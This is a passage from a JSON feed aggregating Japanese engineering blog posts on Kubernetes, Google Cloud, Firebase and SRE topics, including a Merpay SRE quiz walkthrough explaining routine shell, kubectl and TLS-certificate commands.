Kaneko","authorId":"mos914"},{"title":"SSHを使用せずにTeratermからWSLを使う","contentSnippet":"ALHアドベントカレンダー202012/19(土)もきくりんが担当します！今回は小ネタになります。WSLをTetatermで使う、とても便利なのですが標準のコンソールの使い勝手があまり良くなく(UI全般、ログが取れない、コピペしにくい等…","link":"https://qiita.com/nullzebra/items/6bfe92646ddbaa548977","isoDate":"2020-12-20T09:55:35.000Z","dateMiliSeconds":1608458135000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Raspberry Pi4 3台でKubernetesクラスタ構築","contentSnippet":"ALHアドベントカレンダー202012/12(土)はきくりんが担当いたします！！サーバー、スイッチ、電源、筐体の選定から、組み込み、構築、ナレッジ化とインフラエンジニア総合格闘技的な内容となりま…","link":"https://qiita.com/nullzebra/items/a9b2b262b490f0eabeae","isoDate":"2020-12-12T11:01:44.000Z","dateMiliSeconds":1607770904000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":".gcloudignoreの書き方","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GAE + Java 11 + Quarkusってどんなもんよ","contentSnippet":"基本的に今までTypeScript + Node.jsで書いてましたが、そろそろJVMを書きたいという気持ちが出てきました。ただし、Standard環境のGAEは良いものだと知ってしまった、、、ということでJava 11でかけないかなと思いました。GAE + Java 11を利用する上で考えるのは、 初回リクエストのレスポンス速度 (JVMの起動速度+アプリケーションの起動速度) が問題になるかと思います。では、高速に起動する(?)と言われるQuarkusを使って見たらどうだろうと思い、ちょっと調査してみました。Javaと言いながらKotlinで作ってますが、あんまり変わらない(...","link":"https://zenn.dev/satohjohn/articles/70a2b77308e0b982fb70","isoDate":"2020-11-07T13:08:25.000Z","dateMiliSeconds":1604754505000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"フロントエンド(SPA)でのFirebase Authとの付き合い方","contentSnippet":"Firebase Authで取得したID Tokenをどう使うか、どう保管するかが結構難しいと思っています。その中で、WebアプリケーションにおいてFirebaseのドキュメントには2パターンがあるように見えました。Cookieを使ったSession管理ID Token+Service Workerを使った管理(Betaっぽい)自分としてはそれぞれのメリット・デメリットがあると感じましたので、まとめます。 1. Cookieを使ったSession管理メリット自分でCookieの長さを決められる.2週間に設定することもできる（ID Tokenの期限は1時間)古いブ...","link":"https://zenn.dev/satohjohn/articles/d39cf288dcfbe5e39c3b","isoDate":"2020-11-03T14:40:40.000Z","dateMiliSeconds":1604414440000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/sreake-jp/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ（kindで作ったクラスタ見てます）…","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法（平成二十六年法律第百四号）情報処理の促進に関する法律（昭和四十五年法律第九十号）情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方（ツール活用編）情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ＜危険回避＞対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Mac VScode Maven でJunit 使ってみた","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ！って人はこちらを参考にしてみてください。動作環境macOS …","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Mac VSCode JavaでHelloWorldした","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ！って人には…","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/sreake-jp/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"3月末日で退職してました","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","contentSnippet":"これは何？2020年1月25日に行われた SRE NEXT 2020 で，メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上：メルペイキーキャップ4問以上：メルペイキーキャップ＋メルペイ SRE が推薦する本今日は SRE NEXT に来ています！ブース出してます！メルペイSREが考えたクイズに挑戦してみてください！#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って？ツイートのスレッドをたどっていくと，ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか？選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI（サービスレベル指標）の目標値または値の範囲を SLO（サービスレベル目標）といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか？選択肢idwhoamiwholsgroup正解id解説明示されていないですが，UNIX 系 OS のコマンドを前提としていますね。id：ユーザー情報を表示するコマンドで，ユーザー情報（ID，名前）とグループ情報（ID，名前）が表示されます。実行例：foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami：実行ユーザーの ID を表示するコマンドです。id -un と等価です。who：実行ユーザーの情報（名前，プロセス，起動時刻など）を表示するコマンドです。lsgroup：グループの属性を表示する AIX（IBM の UNIX 系 OS）のコマンドです。デフォルトパラメータがないので，グループを指定するか ALL を指定する必要があります。これらのうち，ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか？選択肢33 2 1error1正解3 2 1解説bash -c string：string が bash で実行されます。echo message：message と改行を出力します。パイプ |：コマンドの出力を次のコマンドの標準入力に渡します。ここでは，3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\'：AWK のコマンドで，入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略（空パターン）すると，全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\"：\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので，$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり，全パターンに対してそのまま出力する挙動になります。したがって，$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに，1番目のフィールドを表示させたい場合は，$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ，シングルクォート \'\' で囲まれた $ が展開されず，意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり，ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか？選択肢225380443正解53解説すべて well-known ポート番号です。22：SSH53：DNS80：HTTP443：HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは，以下のうちどれか？選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe：リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs：コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get：リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると，Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると，その Deployment に関連したイベントを取得できるので，kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか？選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text：OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し，x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので，grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると，証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com：Response Body（ここでは HTML）が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com：指定した URL の内容を証明書の検証をせずにダウンロードしてファイル（ここでは index.html）に保存します。標準出力にはリクエストの実行ログが吐かれますが，TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com：Nmap を用い，指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例：PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL，Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1，4を確実に正解して，その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが，業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会　Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編！Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD！ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術／Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め！ - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く（遠回しな表現）技術書を書く","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"テストで使いたくて，DinD (Docker in Docker) でk8sの環境を整えた","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが，kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Knative Serving in Production","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress (Isti…","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","contentSnippet":"2019/12/5(木)、6(金)に開催された 